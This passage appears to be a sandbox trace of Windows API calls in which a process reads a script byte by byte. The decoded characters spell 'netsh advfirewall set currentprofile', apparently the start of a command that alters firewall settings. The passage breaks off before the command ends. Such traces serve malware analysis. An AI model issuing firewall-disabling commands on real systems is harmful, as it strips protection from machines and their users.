nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xef9a0ff9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesWritten=0xef9a0ff9d8*=0x14, lpOverlapped=0x0) returned 1 [0157.382] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.382] GetFileType (hFile=0x244) returned 0x3 [0157.382] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.382] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.382] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0157.382] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.382] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.382] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.383] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.383] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.383] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.383] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.383] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.383] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.383] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.383] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.383] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0157.383] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.383] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.383] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.383] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.383] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.383] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0157.383] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.383] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.384] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0157.384] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.384] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.384] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0157.384] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.384] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.384] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0157.384] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.384] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.384] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0157.384] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.384] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.384] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0157.384] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.384] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.384] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.384] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.385] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.385] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0157.385] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.385] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.385] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0157.385] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.385] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.385] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0157.393] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.393] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.393] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0157.393] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.393] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.393] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.394] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.394] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.394] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0157.394] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.394] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.394] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.394] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.394] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.394] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.394] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.394] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.394] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0157.394] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.394] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.394] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.394] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0157.394] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.394] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.395] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0157.395] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.395] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.395] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0157.395] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.395] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.395] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0157.395] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.395] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.395] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.395] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.395] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.395] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0157.395] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.395] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.395] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0157.396] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.396] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.396] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0157.396] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.396] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.396] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0157.396] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.396] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.396] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0157.396] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.396] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.396] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0157.396] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.396] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.396] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0157.396] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.396] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.396] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0157.397] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.397] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.397] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xef9a0ffd38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e1319970*, lpNumberOfBytesRead=0xef9a0ffd38*=0x1, lpOverlapped=0x0) returned 1 [0157.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e1319970, cbMultiByte=1, lpWideCharStr=0x7ff6e1323c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0157.397] _get_osfhandle (_FileHandle=0) returned 0x244 [0157.397] SetFilePointer (in: hFile=0x244, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.397] ReadFile (in: hFile=0x244, lpBuffer=0x7ff6e1319970, nNumberOfBytesToRead=0x1, 